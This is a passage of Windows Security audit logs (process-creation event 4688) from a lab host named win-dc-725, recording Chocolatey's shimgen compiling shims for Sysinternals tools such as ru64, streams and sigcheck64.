Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246850
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4fc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246849
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4fc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ru64.exe" --output="C:\ProgramData\chocolatey\bin\ru64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ru64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246848
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x288
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdc0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES749.tmp" "c:\ProgramData\chocolatey\bin\CSC8CF51336253041B488A0DE107230F47F.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246847
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x468
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdc0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246846
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc74
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ru.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246890
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe8c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246889
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe8c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\streams64.exe" --output="C:\ProgramData\chocolatey\bin\streams64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\streams64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246888
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe30
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb88
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE1F.tmp" "c:\ProgramData\chocolatey\bin\CSC95A0827A49044934B03F833999327F82.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246887
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb88
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246886
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd64
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\streams.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_8175\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246885
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe74
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd64
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246884
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd64
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\streams.exe" --output="C:\ProgramData\chocolatey\bin\streams.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\streams.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246883
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe2c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD44.tmp" "c:\ProgramData\chocolatey\bin\CSCF0DD14081B734126AAF1640365D88C3.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246882
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc28
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe2c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246881
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe08
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sigcheck64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_6143\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246880
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb18
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe08
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246879
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe08
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sigcheck64.exe" --output="C:\ProgramData\chocolatey\bin\sigcheck64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sigcheck64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246878
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
